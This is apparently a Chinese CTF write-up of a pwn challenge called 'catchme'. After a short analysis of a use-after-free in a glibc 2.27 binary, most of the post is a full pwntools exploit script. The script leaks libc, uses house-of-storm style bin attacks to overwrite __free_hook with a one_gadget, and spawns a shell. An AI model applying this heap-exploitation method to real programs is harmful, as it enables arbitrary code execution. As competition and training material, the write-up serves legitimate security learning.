2026长城杯半决赛 AWDP-PWN赛后回顾
Zach0ry Lv4

前段时间参加了ciscn华中赛区的半决赛,成绩不是很理想,本来想记录一下的,一直拖着没搞,趁着今天空闲时间比较长来复现一下题目

catchme

image-20260409161831773

add看到有三种模式的malloc,并且会输出chunk地址的WORD2

image-20260409162114481

uaf漏洞

有show,终于不用通过IO结构体去操作了,但是只能show1次

从user_con+8处开始填入,只能改0x18大小,并且限制次数为3次

分析:

2.27的libc版本,3个malloc的大小中还有一个0x50,PIE的 x64 程序的堆地址总是 0x55xxxx… 或者 0x56xxxx…,考虑house of storm,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
import sys

file_path = "./catchme"
remote_host = "127.0.0.1"
remote_port = 1111
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

# --- 封装函数修改为 add/edit/free 风格 ---

def add(idx):
sla(">>\n", '1')
sla("(3)otter\n", str(idx))

def free(idx):
sla(">>\n", "2")
sla("index:\n", str(idx))

def show(idx):
sla(">>\n", "3")
sla("index:\n", str(idx))

def edit(idx, content):
sla(">>\n", "4")
sla("index:\n", str(idx))
sa("set tag:\n", content)

def clean_note(idx):
sla(">>\n", "6")
sla("index:\n", str(idx))

def exploit():

for i in range(7):
add(3)
free(0)
clean_note(0)

add(1) # idx 0
add(1) # idx 1
free(0)
show(0)
ru("tag:")
libc_base = uu64() - 0x3ebca0
success(f"libc_base: {hex(libc_base)}")

add(2) # idx 2
ru("token(2):")
flag_hex_str = p.recvline().strip()
flag_value = int(flag_hex_str, 16)
if flag_value != 0x56:
log.warn(f"Current flag {hex(flag_value)}, not 0x56, retrying...")
raise Exception("Brute force failed")


add(2) # idx 3
free(2) #unsorted bin
free_hook = libc_base + 0x3ed8e8
payload_bk = p64(free_hook - 0x10 - 0x8)
edit(2, payload_bk)

# [bk] = free_hook - 0x10, [fd_nextsize] = 0 (防崩溃)
# [bk_nextsize] = 目标地址偏移,利用 large bin attack 写入堆地址作为 fake size
payload_large = p64(free_hook - 0x10) + p64(0)
payload_large += p64(free_hook - 0x18 - 0x10 - 0x8 - 5)
edit(0, payload_large)

one_gadget = libc_base + 0x4f302
add(3)
edit(4, p64(one_gadget)) # 此时 idx 4 指向 free_hook 区域

free(0) # 触发 system/one_gadget

p.interactive()

count = 0
while True:
count += 1
try:
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

print(f"[*] 第 {count} 次尝试爆破...")
exploit()
print(f"[+] 爆破成功,共尝试了 {count} 次!")
break
except Exception as e:
print(f"[-] Wrong: {e}")
try:
p.close()
except:
pass